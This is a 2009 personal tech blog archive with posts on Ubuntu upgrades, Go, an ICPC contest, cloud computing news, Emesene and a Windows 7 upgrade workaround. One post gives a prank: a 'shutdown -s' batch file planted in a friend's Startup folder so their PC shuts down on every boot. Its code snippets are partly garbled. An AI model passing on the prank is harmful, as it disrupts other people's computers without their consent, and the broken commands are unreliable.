Tuesday, December 29, 2009


Hi friends,Today i going to show a new tips....
Everyone afford of google.com but have u heard about www.googlegooglegooglegoogle.com
Jus try this

This will be useful for us when we do some research.........
I happy to share this with u........
Thanks to www.howtogeek.com

Tuesday, December 15, 2009

Googles phone Nexus One

Everyone knows that google covered all the areas in IT and now it is step forth in mobile phones with lots of features....Features cannot be explained but we have to experience it.....Google named this as "NEXUS ONE" and Cory O’Brien, a San Francisco-based blogger, got his hands on one tonight and tweeted out the picture of the phone

 Won't this make you eager to buy
To know more about this go to this website

Wednesday, December 9, 2009

To install LAMP in ubuntu 9.10


Hi friends when i was  googling how to install LAMP(Linux,Apache,MySQL,PHP) in ubuntu 9.10(Karmic Koala) not found any good result but atlast after a long struggle i got a link from how to forge and it helped me throughout to install LAMP and now i sucessfully installed.So this is the link


Thank you
I hope it will be useful

Monday, November 30, 2009

Upgrade ubuntu to newer version

(1) To update ubuntu 8.04 to 8.10

Follow the steps in this link


(2) To update ubuntu 8.10 to 9.04

Follow the steps in this link


(3) To update ubuntu 9.04 to 9.10

NOTE:You can only directly upgrade to Ubuntu 9.10 from Ubuntu 9.04

Follow the steps in this link  


Ubuntu Version Names

1)8.04----->Hardy Heron
3)9.04----->Jaunty Jackalope
4)9.10----->Karmic Koala

Wednesday, November 11, 2009

Everyone here after Go to "GO" Programming Language

Hi friends when i googling i come to know about "GO"
What is Go?
        It is a programming language like c,c++.
        This programming environment is fast, productive, and most importantly, fun.
        It is a open source an experimental new language called Go  combines the development speed of working in a dynamic language like Python with the performance and safety of a compiled language like C or C++. Typical builds feel instantaneous; even large binaries compile in just a few seconds. And the compiled code runs close to the speed of C. Go lets you move fast.

Go is a great language for systems programming with support for multi-processing, a fresh and lightweight take on object-oriented design, plus some cool features like true closures and reflection.

Want to write a server with thousands of communicating threads? Want to spend less time reading blogs while waiting for builds? Feel like whipping up a prototype of your latest idea? Go is the way to go! Check out the video for more information or visit golang.org.

To install go in linux
sudo apt-get install bison gcc libc6-dev ed
Sample Prgoram
$ cat >hello.go <
package main

import "fmt"

func main() {
 fmt.Printf("hello, world\n")
$ 6g hello.go
$ 6l hello.6
$ ./6.out
hello, world

Tuesday, November 10, 2009

TeckMonks In "Battle Of Brain"

Hi friends this year we threee went to kerala "Amrita University" for acm ICPC(International Collegiate Programming Contest) Team Name as "Teck Monks" which held on nov 1st...This year they asked 9 problems...It was more ambiguity...

Team "Oasis" from South Korea's Sogang University took first place at the Amritapuri regional contest, held Nov. 1 at Amrita Vishwa Vidyapeetham University.

"Oasis" solved seven problems correctly, the only team to do so. "CounterGambit," from India's National Institute of Technology, Trichy, took second place, mirroring their finish in the Gwalior/Kanpur regional contest a month before; they solved six problems correctly. "Phoenix," from the DJ Sanghvi College of Engineering in Mumbai, came in third.

Four teams from the Indian Institute of Technology representing schools in Guwahati, Bombay, Roorkee and Chennai placed in the top 10. Fifty-six teams from five countries participated in the contest, which was directed by Professor Vallath Nandakumar.

Professor Nandakumar noted in his report that the organizers took contest participants on a sightseeing tour of the Kerala countryside, visiting the area beaches and the Palaruvi waterfalls and capping the trip off with a banquet dinner and an show of cultural dances.

Photos of the contest can be found here. The full director's report is here (pdf). The contest's blog is here. Follow them on Twitter @icpcamritapuri.

Saturday, November 7, 2009


Now a days i have little bit interesting in hacking and cracking
this is not my profession just i would like to share this with u

Here is a tips to make computer restart again and again after every 30 seconds

This is the preocedure

1.open note pad

2.type "shutdown -s" with out quotes

3.save the file with .bat extension

4.explaination,u have created a prog which shutdowns the pc with in 30
of executing the file

5. now open "x:\Documents and Settings\USERNAME\Start Menu\Programs\Startup\" (x->is the drive on which ur windows has been installed and USERNAME is the username)

6.paste a shortcut on this directory

NOW WHEN EVER UR FRIEND STARTS HIS PC a count down will start after 30 sec his pc will shutdown
u can also maki his pc restart instead of shutting down.. just replace "shutdown -s" "restart _s"

enjoy.... this is not a virus but look so....

Monday, October 12, 2009

Share Flow

The more you use email, the more work you create for your team. Important information gets lost in the shuffle.

Share your team conversations so everyone involved can clearly see what's being said, and you can all get more done.
View this video to know more about share flow


1)Access From Anywhere
2)Share More Than Documents
3)Work Better With E-Mail
4)Share Files Painlessly

To sign Up

Wednesday, October 7, 2009

Google Works on a Different Web

The Google search engine has inspired a new algorithm that can predict which species losses will spark the fastest implosion of a food web, according to the University of Chicago's Stefano Allesina. "The problem of how ecosystems are likely to respond to the loss of species is quite important, particularly in light of how many different ways human activities are resulting in the local extinctions of populations," says the Santa Fe Institute's Jennifer Dunne. The algorithm's functionality is similar to Google's Web-page-ranking tool, PageRank. PageRank quantifies a page's value to searchers depending on the importance of the pages that link to it. However, the Google ranking system assumes that any page might lead to any other page--a concept that is not applicable to food webs. Allesina and Mercedes Pascual of the University of Michigan in Ann Arbor only drew connections between predator and prey. The researchers compared the new algorithm to others by using information from real-world food webs. The algorithm matched results of the standard-bearing genetic algorithm without being computationally intensive.
View Full Article

Wolfram's Search Goal: Compute All

Stephen Wolfram has set the ambitious goal of converting the global corpus of knowledge into a computable format through WolframAlpha.com, a computational knowledge engine rather than a search engine. WolframAlpha.com computes data and frequently renders query results into lists, charts, and graphs. "You get to ask WolframAlpha specific questions and it provides specific answers, rather than asking about some general topic and expecting it will do what search engines do, giving you a bunch of links about that topic," Wolfram says. He estimates that WolframAlpha can currently answer users' questions with more than 75 percent accuracy, and the system's linguistic comprehension capabilities are steadily improving. Wolfram says the long-term goal for WolframAlpha is to make as much globally accumulated knowledge computable as possible. One avenue being explored is the ability to upload one's own data to WolframAlpha and have it perform analysis on that data. "Another direction we are just starting to play with ... is being able to invent on the fly," Wolfram says.
View Full Article

Monday, September 21, 2009

Ubuntu founder names 10.04 release

Lucid Lynx to help enterprises move into the cloud
The wraps are coming off the latest version of Ubuntu with creator, Mark Shuttleworth, announcing the name of the next release, Lucid Lynx.
Speaking via video to UbuCon in Atlanta, Shuttleworth said Ubuntu 10.04, which will the supersede 9.04 release, would be a long-term support (LTS) release with support for the desktop for 3 years and for the server for 5 years.
"It has been a very big year in the Ubuntu community and probably the biggest thing for us is the focus that is now starting to come to bear on our next release", he said. "It will effectively be the third LTS release in a row delivered on a two-year cadence."
Shuttleworth said it was testament to the open source community that the Ubuntu project was not only able to release the product on on a six-month cadence, but on a two-year major platform cycle for large organisations that need long term support and predictability for organisational planning.
Lucid Lynx will continue the close relationship with the Debian architecture and infrastructure, he said.
"We have had the opportunity to do some good behind the scenes support with Debian, which is the most important distribution to us. I hope over time that we can broaden that and elevate the art of free software."
The Lucid Lynx name is designed to bring together the aspirational characteristics of Ubuntu – Lucid for clarity and focus, and Lynx as a "thoughtful and considered predator".
On the desktop side, 10.04 will focus on delivering the best of GNOME 2.0. Subsequent releases will focus on the new technologies, architectures and experiences being developed as part of GNOME 3.0.
"On the server side, we’ll be taking the large scale, horizontal scalability, volume deployment, heritage of Debian and really try to push that into cloud computing," Shuttleworth said. "Making sure that 10.04 is a platform for anybody who is building a large scale infrastructure - for anybody who is trying to build the next Facebook, the next Google, the next eBay. Whether you want to start on (Amazon) EC2 and migrate to the managed cloud, Ubuntu 10.0.4 is going to be the platform."

Saturday, September 19, 2009

The A-Z of Programming Languages: Groovy

Groovy project manager Guillaume Laforge says the Groovy programming language was designed to make life simpler for developers through its seamless integration with the underlying Java platform. "There's really no impedance mismatch between Groovy and Java," he says. "That's why lots of projects integrate Groovy, or why companies adopt the [Groovy on Rails (Grails)] Web framework." Laforge says that Groovy finds frequent use as a superglue for tying together various application elements, and he points out that Groovy is often the preferred language when developers must integrate and employ an additional language in their applications. Laforge says that Grails offers an advanced integration of the best-of-breed open source software components to provide a pleasant experience for developers while also addressing various other aspects such as the project build, the persistence, a rich view layer, and an extensible plug-in system. Laforge says Groovy's support for closures is his favorite feature. "With closures, you can start thinking differently about how you solve your everyday problems, or create complex algorithms," he says. "Closures give you an additional layer of abstraction for encapsulating code and behavior, and even data [thanks to Groovy builders]. Also, with various helper methods added to Java collections, in combination with closures, you've got the power of functional languages at your disposal."

To View This Full Article

White House Unveils Cloud Computing Initiative

The Obama administration has introduced a cloud computing policy that aims to lower infrastructure costs and reduce the environmental impact of government computing. Federal CIO Vivek Kundra says the plan is the administration's first formal effort to launch a broad system designed to leverage existing infrastructure and cut federal spending on information technology, particularly expensive data centers. Kundra says the government has built numerous, redundant data centers, which has resulted in a doubling of federal energy consumption between 2000 and 2006. Some aspects of the cloud computing policy already have been released, such as the new Apps.gov Web site, which is a clearinghouse of business, social media, productivity applications, and cloud IT services. The administration hopes the site will become a one-stop shop for many services that previously required extensive IT spending. The second phase will involve budget reform. For fiscal year 2010, the administration will be pushing cloud computing projects in the hope that many lightweight workflows can be moved into the cloud, and in fiscal 2011 the administration will be issuing guidance to agencies. The final phase will include policy planning and architecture that will involve centralized certifications, target architecture, and security, privacy, and procurement concerns. Kundra says the ultimate goal is to make it easy for agencies to procure the applications they need and to avoid having the government pay to build infrastructure that may be available for free.

To View This Full Article

Wednesday, September 16, 2009

Hai everyone
acm is conducting a big programming competition every year.Name of the competition is ICPC (International Collegiate Programming Contest).To participate in that competition just if u know c,c++,java is more than enough and they first conduct online competition and this year they conducted online competition on sep 13,2009 and we our team "TechMonks" has selected for onsite competition on nov 1 in kerala Amrita University.
To know more

New Way to Attack the Cloud

Researchers at the University of California, San Diego (UCSD) and the Massachusetts Institute of Technology (MIT) have found security holes in Amazon's EC2 cloud-computing service. The researchers were able to execute basic versions of side-channel attacks, in which a hacker looks at indirect information related to the computer to determine what is taking place on the machine. The researchers succeeded in pinpointing the physical servers used by programs running on the EC2 cloud, and then extracted small amounts of data from those programs. Previous research has demonstrated the vulnerability of side-channel attacks. In 2001, University of California, Berkeley researchers were able to extract password information from an encrypted SSH data stream by performing a statistical analysis of how keystrokes generated traffic on the network. By looking at the computer's memory cache, the UCSD and MIT researchers were able to obtain basic information about when other users on the same machine were using a keyboard to perform tasks such as accessing the computer using an SSH terminal. The researchers say that measuring the time between keystrokes enables them to determine what is being typed on the machine. To perform this attack, the researchers had to determine which EC2 machine was running the program they wanted to target, a difficult challenge as cloud computing is supposed to hide this information. However, by performing an analysis of DNS traffic and using a network-monitoring tool, the researchers developed a technique that could provide a 40 percent chance of placing their attack code on the same server as their target. Security experts say that side-channel techniques could lead to more serious problems for cloud computing.

To view more

Thursday, September 10, 2009

Tuesday, September 1, 2009

Future of Internet Search

The idea of this concept was to exploit the internet ability in a mobile device. Touch screen, built in camera, scanner, WiFi, google map (hopefully google earth), google search, image search? all in one device. See a building through it, it will give you the image search result right on the spot.

Choose a building and touch a floor and it tells you more details of the building. You can use it when you want to know a car model, an insect name, what kind of food is served at a restaurant and how much, who built a bridge, etc. With detail informations like that, this gadget might only be used by secret service agents. Very futuristic concept.

Monday, August 31, 2009


sudo apt-get install libstdc++5 libnotify-bin

Download ubuntuzilla .deb package or Visit the download page to confirm if it is the latest version.

Simply double click on the just downloaded deb package to install ubuntuzilla.

Run ubuntuzilla.py in command line by simply typing the same in Terminal.

When you are prompted to choose the language of choice, if you dont know the one you want, just type 14 there(which is the default en - US).

Thats it. Goto Applications > Internet > Firefox , and you will have your latest frefox 3.5 up and running, and will even prompt you with latest updates(you can disable this feature anytime

Monday, August 24, 2009

Red Hat, IBM, Novell Major Contributors to Exploding Linux Kernel Development

The Linux Foundation reports that 2.7 million lines of code have been added to the Linux kernel over the past 16 months. The open source project now has more than 11.5 million lines of code. The number of lines added, removed, and changed each day has increased 70 percent, 68 percent, and 32 percent, respectively, from the previous report in April 2008. And the number of developers contributing to each kernel release cycle, which comes every two to three months, has risen about 10 percent. More than 5,000 individual developers from nearly 500 companies have contributed to the kernel, and the greatest support continues to come from Red Hat, IBM, and Novell. Participation from the individual development community has doubled over the past three years. The increasing rate of change and jump in contributors is a sign of a "vibrant and active community, constantly causing the evolution of the kernel in response to a number of different environments it is used in," the report says. The foundation also suggests the pace of development will continue to accelerate

Wednesday, August 19, 2009


eyeOS is a free software web desktop following the cloud computing concept, written in mainly PHP, XML, and JavaScript. It acts as a platform for web applications written using the eyeOS Toolkit, and includes a desktop environment with 67 applications and system utilities. The eyeOS project is thought to build the free software alternative to the big Cloud Computing services, especially those which keep the data on their servers. With eyeOS the data is always kept on the local server.


Wi-Fi via White Spaces

Wi-Fi via White Spaces

The transition from analog to digital broadcasts has opened up radio spectrum that could be used to deliver long-range, low-cost wireless Internet service using white spaces, which are empty fragments of the spectrum scattered between used frequencies. White space frequencies could be used to provide broadband Internet access in rural areas and fill in gaps in city Wi-Fi networks. For example, Microsoft Research's Ranveer Chandra says white space frequencies could be used to allow people to connect to their home network from up to a mile away. Last November, the Federal Communications Commission (FCC) ruled that companies could build devices that transmit over white spaces, but also required that those devices should not interfere with existing broadcasts. Microsoft researchers have designed a series of protocols, called White Fi, to account for the restrictions involved in using white spaces. Chandra says wireless networking has traditionally used an open spectrum with all users being equal shareholders, but in white spaces some users are primary users. Chandra says his research team recently received an experimental license from the FCC allowing them to build a prototype White Fi system on the Microsoft Research campus. The researchers will send their findings to the FCC in the hope that the data will help establish future white-space regulations. The blueprints for a computer network that uses white spaces were presented at ACM's SIGCOMM 2009 conference, which takes place August 17-21 in Barcelona, Spain.


Saturday, August 15, 2009

Microsoft Team Traces Malicious Users Technology Review (08/13/09) Lemos, Robert

In a paper that will be presented at ACM SIGCOMM 2009, which takes place Aug. 17-21 in Barcelona, Spain, Microsoft researchers will demonstrate HostTracker, software that removes the anonymity from malicious Internet activity. The researchers were able to identify the machines responsible for anonymous attacks, even when the host's IP address rapidly changed. The researchers say HostTracker could lead to better defenses against online attacks and spam campaigns. For example, security firms could create a clearer picture of which Internet hosts should be blocked from sending traffic to their clients, and cybercriminals would have a more difficult time disguising their activities as legitimate communications. The researchers analyzed a month's worth of data collected from a large email service provider to attempt to determine users responsible for sending spam. Tracking the origins of a message involved reconstructing relationships between account IDs and the hosts used to connect to the email service. The researchers grouped all the IDs accessed from different hosts over a certain time period, and the HostTracker software searched through this data to resolve any conflicts. The researchers also developed a way to automatically blacklist traffic from an IP address if HostTracker determines that the host at that address has been compromised. HostTracker was able to block malicious traffic with an error rate of 5 percent, and using additional information to identify good-user behavior reduced the error rate to less than 1 percent.

Monday, August 10, 2009

Replace Windows Live Messenger with Emesene

Tired of Windows Live Messenger bloat and wishing that there was a simpler and cleaner replacement that would let you use your live.com and hotmail.com accounts? Look no further, now you can have all that messenger goodness with Emesene!

Installation & Initial Startup

The nice thing about Emesene is that it is an open source messenger that works on Windows and Linux (cross-platform is always a good thing!).

One point of interest during the install is that Emesene states that it will require 51.4 MB of disk space…but this messenger is more than worth it!

Once you have finished the installation process and started Emesene for the first time, you will see the initial login window. To login you will need to enter your full live.com or hotmail.com address (i.e. user-name@live.com). You can select to have Emesene "Remember me", "Remember password", and "Auto-Login". As with other messengers, you may also select your Status before fully logging in.

Pre & Post Login Menus

Here is a quick look at the pre-login menus…not too much that you can access at the moment.

Once you do get logged in though, you will have access to the following menus.

Plugins Manager

You may access the Plugins Manager through the Options Menu. To add plugins, select the ones that you are interested in and then click "Load New Plugins". Notice that a brief description is provided for each plugin selected directly beneath the selection area (very nice!).


The Preferences Window has three tabs to choose from. Here you can see the first one for General Preferences. You can make adjustments for File Transfers, Desktop Settings, and Connection Settings. Notice that one of the Desktop Settings will require a restart if selected.

In the Appearance Tab you can make adjustments for Icon Size, Themes, Smiles, Text Formatting & Layout in Conversations, and Color Schemes. If you need to, you also have the option to "Revert" to the original default setup (wonderful!).

In the Interface Tab, you can make adjustments regarding Tabs in the Conversation Windows, Displaying of Avatars, and the areas that will display in the Main & Conversation Windows. To make changes in the Main & Conversation Windows, click on any of the "Blue Areas"…this performs the same action as "Select" and "Deselect". This makes it extremely easy to adjust the layout and display for Emesene's Windows!

Ready To Go

Here you can see Emesene open and ready to go. Notice that in the upper right corner there is a small mail counter. This does a wonderful job of displaying the amount of new e-mails that you have and quickly adjusts to reflect any changes in that number (i.e. you have read some or all of them).

There is a very nice Right Click Menu available as well.

The Message Window has a very nice layout with a Formatting Icon Bar available. Notice that you may also add new people to the conversation (Blue Plus Sign) and control file transfers (Green Arrow Symbol) from here as well.


If you are looking for a very nice, uncomplicated, and "lite on system resources" replacement for Windows Live Messenger, then Emesene is definitely worth taking a close look at.


Download Emesene (version 1.0.2) – SourceForge

Emesene Homepage



Wolfram|Alpha's long-term goal is to make all systematic knowledge immediately computable and accessible to everyone. We aim to collect and curate all objective data; implement every known model, method, and algorithm; and make it possible to compute whatever can be computed about anything. Our goal is to build on the achievements of science and other systematizations of knowledge to provide a single source that can be relied on by everyone for definitive answers to factual queries.

Wolfram|Alpha aims to bring expert-level knowledge and capabilities to the broadest possible range of people—spanning all professions and education levels. Our goal is to accept completely free-form input, and to serve as a knowledge engine that generates powerful results and presents them with maximum clarity.

Wolfram|Alpha is an ambitious, long-term intellectual endeavor that we intend will deliver increasing capabilities over the years and decades to come. With a world-class team and participation from top outside experts in countless fields, our goal is to create something that will stand as a major milestone of 21st century intellectual achievement.


The universe of potentially computable knowledge is, however, almost endless, and in creating Wolfram|Alpha as it is today, we needed to start somewhere. Our approach so far has been to emphasize domains where computation has traditionally had a more significant role. As we have developed Wolfram|Alpha, we have in effect been systematically covering the content areas of reference libraries and handbooks. In going forward, we plan broader and deeper coverage, both of traditionally scientific, technical, economic, and otherwise quantitative knowledge, and of more everyday, popular, and cultural knowledge.

Wolfram|Alpha's ability to understand free-form input is based on algorithms that are informed by our analysis of linguistic usage in large volumes of material on the web and elsewhere. As the usage of Wolfram|Alpha grows, we will capture a whole new level of linguistic data, which will allow us to greatly enhance Wolfram|Alpha's linguistic capabilities.

Today's Wolfram|Alpha is just the beginning. We have ambitious plans, for data, for computation, for linguistics, for presentation, and more. As we go forward, we'll be discussing what we're doing on the Wolfram|Alpha Blog, and we encourage suggestions and participation, especially through the Wolfram|Alpha Community.

Less »


Wolfram|Alpha, as it exists today, is just the beginning. We have both short- and long-term plans to dramatically expand all aspects of Wolfram|Alpha, broadening and deepening our data, our computation, our linguistics, our presentation, and more.

Wolfram|Alpha is built on solid foundations. And as we go forward, we see more and more that can be made computable using the basic paradigms of Wolfram|Alpha—and a faster and faster path for development as we leverage the broad capabilities already in place.

Wolfram|Alpha was made possible in part by the achievements of Mathematica and A New Kind of Science (NKS). In their different ways, both of these point to far-reaching future opportunities for Wolfram|Alpha—whether a radically new kind of programming or the systematic automation of invention and discovery.

Wolfram|Alpha is being introduced first in the form of the wolframalpha.com website. But Wolfram|Alpha is really a technology and a platform that can be used and presented in many different ways. Among short-term plans are developer APIs, professional and corporate versions, custom versions for internal data, connections with other forms of content, and deployment on emerging mobile and other platforms.

History & Background

What was needed were also two developments that have been driven by Stephen Wolfram over the course of nearly 30 years

To know more follow this blog

Friday, August 7, 2009

How to Upgrade the Windows 7 RC to RTM (Final Release)

The final version of Windows 7 was released yesterday for MS Technet subscribers, but you can’t upgrade directly from a pre-release version—at least, not without a quick and easy workaround, and we’ve got you covered.

The Problem

Windows 7 checks whether or not the current version you are running is a pre-release copy, and prevents you from upgrading further. For reference purposes, this is the error you’ll see when you try and upgrade.

The Solution

The solution is to edit a file inside the Windows 7 DVD—which you’ll have to extract to the hard drive to proceed.
  • If you are using an ISO image for the installation progress, you can use the awesome 7-Zip utility to extract the ISO to a folder on the drive.
  • If you are using an actual DVD, you can simply copy all of the files from the DVD to a folder on your hard drive.

Once you’ve extract the files, browse down into the “sources” folder to find the cversion.ini file.

Once you’ve opened up the cversion.ini file, you’ll notice that the MinClient line has a value of 7233.0, and since the Windows 7 RC release is build 7100, you can understand why it’s not working.

All you need to do is change the MinClient value to something less than the current build you are using. For the RC release, you can change it to 7000.

Now you can simply launch the setup.exe file from within the folder, and do the upgrade directly from the hard drive. Once you’ve started the setup, click Install now.

Once you get to the type of installation screen, choose to Upgrade the existing install.

Once you reach the Compatibility Report screen (if it doesn’t show up at all, be happy about it), you’ll see the list of applications that probably won’t work once you upgrade. Realistically most of these apps will work just fine, but the important thing is that you’ll be able to upgrade.

Note: You could always smooth the upgrade process by removing any apps that have compatibility problems, before you do the upgrade.

At this point, the upgrade should start working, and will take a rather long time.

Important Notes

There are a few important things to keep in mind when you are upgrading to the final version:

  • The Windows 7 beta or RC releases were Ultimate edition, so you’ll only be able to upgrade to the RTM (final) if you are installing Ultimate Edition.
  • Whenever possible, you should really backup your files and do a clean install. There are less headaches this way, and you get the benefit of a nice clean profile.

Happy upgrading!

Saturday, August 1, 2009

Steps to host appliaction in cloud

To host application in cloud computing
you upload your application to Azure using the Azure portal at:

If you're wanting to put a SQL database back end in the cloud, you'll want to check out SQL Data Services. If you want to access your on premise SQL Server from the cloud you'd have to punch in the appropriate holes into your firewall to allow access (not something I think any DBA or network admin would be fond of doing).

You might want to check out the Windows Azure whitepaper from MS. It has alot of introductory type information on the services available as part of Azure Services: http://www.microsoft.com/azure/whitepaper.mspx

I've also posted several blog articles that walk through some basic topics: http://bstineman.spaces.live.com/?_c11_BlogPart_BlogPart=blogview&_c=BlogPart&partqs=cat%3dAzure%2520Services

Cloud computing can be broken down into 3 basic categories.
SaaS - software as a service (using a hosted product such as SalesForce.com or CRM Online)
PaaS - creating an application that is then deployed into a hosted environment (Windows Azure)
IaaS - a virtualized infrastructure hosted in the cloud (EC2 and to an extent Windows Azure)
When hosting an application in Azure, it needs to be built for Windows Azure. You can't simply build it as you would a traditional on-premise application and push it up to the cloud. This doesn't prevent you from pushing custom bits into Azure as you did with an on-premise but it does limit what can be pushed. In a nutshell, it seems that if you have to run an install to get require software on the computer, you won't be able to run it on Azure. However, if you just need to load some redistributables onto the box and they can reside in the application folder, that shouldn't prohibit it running.

Course as you'd expect, there are security limitations in place to help ensure that anything that gets loaded into your deployment don't compromise the Azure Fabric and possibly damage other applications running in the Windows Azure cloud.


Does this whole cloud computing craze make your mental gears turn? Chances are, unless you are a big company with some good friends that would love to let you demo this new way of computing, you probably don't have the money to drop on getting a cloud system up and running. And if you're a home user, cloud computing is overkill for you.

You're not out of luck, however, if you still want to try this. There is a cloud PC that you can use without the need for a server; it's called CherryPal. It comes with a small plastic box with two USB ports, VGA-out, audio out, LAN and wireless. It has 4 GB flash memory, so you can store stuff locally as well as on the server. Along with this PC, you get 50 GB online storage for your hard drive. It sounds like a pretty good deal at $250. It will run a distribution of Linux with applications bundled with it such as OpenOffice. For all those environmentally conscious users, this computer consumes a total of 2 watts.